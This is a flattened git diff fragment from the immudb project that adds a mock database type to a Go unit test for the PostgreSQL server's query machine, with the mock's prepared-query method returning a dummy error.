require.Nil(t, reader) require.True(t, baseReader.closed) - } func TestFloat64Type(t *testing.T) { diff --git a/pkg/pgsql/server/query_machine_test.go b/pkg/pgsql/server/query_machine_test.go index f5a76bfc1e..750ff71ddb 100644 --- a/pkg/pgsql/server/query_machine_test.go +++ b/pkg/pgsql/server/query_machine_test.go @@ -17,6 +17,7 @@ limitations under the License. package server import ( + "context" "errors" "fmt" "net" @@ -26,6 +27,7 @@ import ( "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/api/schema" + "github.com/codenotary/immudb/pkg/database" "github.com/codenotary/immudb/pkg/pgsql/server/bmessages" h "github.com/codenotary/immudb/pkg/pgsql/server/fmessages/fmessages_test" "github.com/stretchr/testify/require" @@ -417,6 +419,7 @@ func TestSession_QueriesMachine(t *testing.T) { mr: mr, statements: make(map[string]*statement), portals: make(map[string]*portal), + db: &mockDB{}, } if tt.statements != nil { @@ -433,3 +436,11 @@ func TestSession_QueriesMachine(t *testing.T) { }) } } + +type mockDB struct { + database.DB +} + +func (db *mockDB) SQLQueryPrepared(ctx context.Context, tx *sql.SQLTx, stmt sql.DataSource, params map[string]interface{}) (sql.RowReader, error) { + return nil, fmt.Errorf("dummy error") +}